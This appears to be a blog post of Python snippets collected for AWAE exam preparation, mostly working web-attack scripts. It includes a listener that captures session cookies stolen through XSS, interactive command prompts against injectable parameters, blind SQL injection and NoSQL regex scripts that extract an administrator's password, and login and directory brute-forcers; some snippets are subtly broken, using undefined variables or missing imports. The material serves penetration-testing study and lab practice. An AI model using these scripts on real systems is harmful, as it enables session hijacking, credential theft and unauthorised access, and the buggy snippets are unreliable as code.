3 minute read

Collection of code snippets/templates I’ve either developed or used on some occasion that may become useful during AWAE.

Extract CSRF Token


import requests
import re
import sys

def login(target):
    ps = requests.session() # create persistant session
    url = "http://{}/login".format(target)
    req = ps.get(url)
    reg = re.search(r'([a-z,0-9]){96}', req.text) # edit to match pattern
    token = match.group(0)
    data = {'username':'user','password':'pass','csrf_token':token}
    login = ps.post(url, data=data)
    if "Welcome.." in login.text:
        print("login successful")
    return ps

def main():
    target = sys.argv[1]
    sesh = login(target)

if __name__ == "__main__":
    main()
import sys
import requests

URL = 'https://site.com/login'

client = requests.session()

# Retrieve the CSRF token first
client.get(URL)  # sets cookie
if 'csrftoken' in client.cookies:
    # Django 1.6 and up
    csrftoken = client.cookies['csrftoken']
else:
    # older versions
    csrftoken = client.cookies['csrf']

login_data = dict(username=EMAIL, password=PASSWORD, csrfmiddlewaretoken=csrftoken, next='/')
r = client.post(URL, data=login_data, headers=dict(Referer=URL))


HTTP Redirect to different URL


import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("""Usage: {} <local port> <url>""".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', sys.argv[2])
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()


Extract PHPSESSID from HTTP XSS Requst


def servers(port):
    HOST = ''
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((HOST, port))
        s.listen(1)
        conn, addr = s.accept()
        with conn:
            m=conn.recv(2048)
            out=re.findall("PHPSESSID\%3D.*HTTP",m.decode('utf-8'))
            out=out[0].replace("PHPSESSID%3D","").replace("HTTP","")
            return (out.replace("\n","").replace("\t",""))

Can then use the following later in code for authentication:

cookie=servers(port)


Basic command-line prompt for vulnerable GET parameter


The BeautifulSoup and Regular Expression modules can be used with to eliminate the output we don’t need from the response.

import requests

while True:
    cmd=raw_input("> ")
    r = requests.get("http://target.com/vuln.php?vulnparam="+cmd)
    print r.content


Basic command-line prompt for vulnerable POST parameter


import requests
import os
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = ""
while True:
    cmd = raw_input("> ")
    r = requests.post(url, data={...})
    soup = BeautifulSoup(r.text, 'html.parser')
    out = soup.find('div')
    print out

Improved command-line prompt


The BeautifulSoup and Regular Expression modules can be used with to eliminate the output we don’t need from the response.

import requests
import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

http_proxy  = "http://127.0.0.1:8080"
proxy = { 
              "http"  : http_proxy, 
            }
cookies = {
        'PHPSESSID':'dnjcndc...'
        }

class Exploit(object):
    def __init__(self):
        self.url = "http(s)://target.com/vuln.php"
    
   def makeRequest(self, cmd):
       requests.post(self.url, cookies=cookies, verify=False, data={'vulnparam': cmd}, proxies=proxy)
       
   def runCmd(self, cmd):
       self.makeRequest(cmd)
    
out = Exploit()
while True:
    cmd = raw_input("> ")
    out.runCmd(cmd)  


Mongodb brute force


Minor modification to the PayloadsAllTheThings NoSQL blind brute force script.

import requests
import urllib3
import string
import urllib
import sys
urllib3.disable_warnings()


username = "admin"
password = ""
url = ""

print("[+] User: %s" % (username))
while True:
    for c in string.printable:
        if c not in ['*','+','?','|', '#', '.', '$']:
            payload = {'username[$eq]':'%s' %(username), 'password[$regex]': '^%s' %(password + c), 'login' : 'login' }
            req = requests.post(url, data=payload, verify=False, allow_redirects=False)
            if req.status_code == 302:
                print("[+] Found one more character: %s" % (password + c))
                password += c


Conditional Response blind SQLi


Script I wrote for a lab in the PortSwigger Web Security Academy.

import sys
import requests
import string
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = sys.argv[1]
chars = list(string.ascii_lowercase+string.digits)
password = ""
result= ""

x = range(1,7)
for i in x:
    for c in chars:
        cookies = {'TrackingId':'xyz\' UNION SELECT \'a\' FROM users WHERE Username = \'administrator\' and SUBSTRING(Password, %s, 1) = \'%s\'--'% (i,password+c)}
        resp = requests.get(url, cookies=cookies).text
        if "Welcome back!" in resp:
            result+=c
            sys.stdout.write("\r"+"Password: " + result)
            sys.stdout.flush()
            break
        elif c == chars[-1]:
            exit(0)


Error based blind SQLi


Script I wrote for a lab in the PortSwigger Web Security Academy.

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = sys.argv[1]
chars = list(string.ascii_lowercase+string.digits)
password = ""
result= ""

x = range(1,7)
for i in x:
    for c in chars:
        cookies={'TrackingId':'\'+UNION+SELECT+CASE+WHEN+(username=\'administrator\'+AND+substr(password,%s,1)=\'%s\')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--' % (i,password+c)}
        resp = requests.get(url, cookies=cookies).text
        if resp.status_code == 500:
            result+=c
            sys.stdout.write("\r"+"Password: " + result)
            sys.stdout.flush()
            break
        elif c == chars[-1]:
            exit(0)


Basic brute-force examples


import requests
import sys

if len(sys.argv) != 3:
    sys.exit("usage: python %s <url> <wordlist>" % sys.argv[0])

url = sys.argv[1]
wordlist = sys.argv[2]

if url.endswith("/"):
    pass
else:
    url = url+"/"

words = [line.strip('\n') for line in open(wordlist)]

for w in words:
    try:
        response = requests.get(url+w)
        if response.status_code == 200:
            print "[+] " + url+w + " 200 OK"
        if response.status_code == 403:
            print "[-] " + url+w + " 403 FORBIDDEN"
    except KeyboardInterrupt:
        sys.exit(0)
import requests
import sys

url = "http://website/api/index.php?action=authenticate"
wordlist = ''

words = [line.strip('\n') for line in open(wordlist)]

for w in words:
    data = {'username': 'admin','password': w}
    re = requests.post(url, data=data).text
    if "Bad credentials" not in re:
        print("Password : " +w)


Categories:

Updated: